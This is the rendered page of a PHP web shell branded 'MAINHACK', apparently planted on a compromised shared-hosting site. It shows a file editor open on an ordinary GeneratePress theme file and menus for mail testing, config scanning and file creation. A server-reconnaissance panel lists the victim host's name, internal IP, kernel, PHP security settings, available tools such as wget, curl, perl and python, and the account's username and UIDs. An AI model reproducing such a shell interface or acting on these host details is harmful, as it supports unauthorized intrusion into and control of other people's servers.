[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: deprecated.php
<?php /** * Where old Customizer functions retire. * * @package GeneratePress */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } if ( ! function_exists( 'generate_sanitize_typography' ) ) { /** * Sanitize typography dropdown. * * @since 1.1.10 * @deprecated 1.3.45 * @param string $input The value to check. */ function generate_sanitize_typography( $input ) { // Grab all of our fonts. $fonts = generate_get_all_google_fonts(); // Loop through all of them and grab their names. $font_names = array(); foreach ( $fonts as $k => $fam ) { $font_names[] = $fam['name']; } // Get all non-Google font names. $not_google = generate_typography_default_fonts(); // Merge them both into one array. $valid = array_merge( $font_names, $not_google ); // Sanitize. if ( in_array( $input, $valid ) ) { return $input; } else { return 'Open Sans'; } } } if ( ! function_exists( 'generate_sanitize_font_weight' ) ) { /** * Sanitize font weight. * * @since 1.1.10 * @deprecated 1.3.40 * @param string $input The value to check. */ function generate_sanitize_font_weight( $input ) { $valid = array( 'normal', 'bold', '100', '200', '300', '400', '500', '600', '700', '800', '900', ); if ( in_array( $input, $valid ) ) { return $input; } else { return 'normal'; } } } if ( ! function_exists( 'generate_sanitize_text_transform' ) ) { /** * Sanitize text transform. * * @since 1.1.10 * @deprecated 1.3.40 * @param string $input The value to check. */ function generate_sanitize_text_transform( $input ) { $valid = array( 'none', 'capitalize', 'uppercase', 'lowercase', ); if ( in_array( $input, $valid ) ) { return $input; } else { return 'none'; } } } if ( ! function_exists( 'generate_typography_customize_preview_css' ) ) { /** * Hide the hidden input control * * @since 1.3.40 */ function generate_typography_customize_preview_css() { ?> <style> .customize-control-gp-hidden-input {display:none !important;} </style> <?php } } if ( ! function_exists( 'generate_hidden_navigation' ) && function_exists( 'is_customize_preview' ) ) { /** * Adds a hidden navigation if no navigation is set * This allows us to use postMessage to position the navigation when it doesn't exist * * @since 1.3.40 */ function generate_hidden_navigation() { if ( is_customize_preview() && function_exists( 'generate_navigation_position' ) ) { ?> <div style="display:none;"> <?php generate_navigation_position(); ?> </div> <?php } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm010.cluster103.gra.hosting.ovh.net
Server IP: 10.103.20.10
PHP Version: 7.4.33
Server Software: Apache
System: Linux webm010.cluster103.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: cuisinesj
User ID (UID): 17129
Group ID (GID): 100
Script Owner UID: 17129
Current Dir Owner: 17129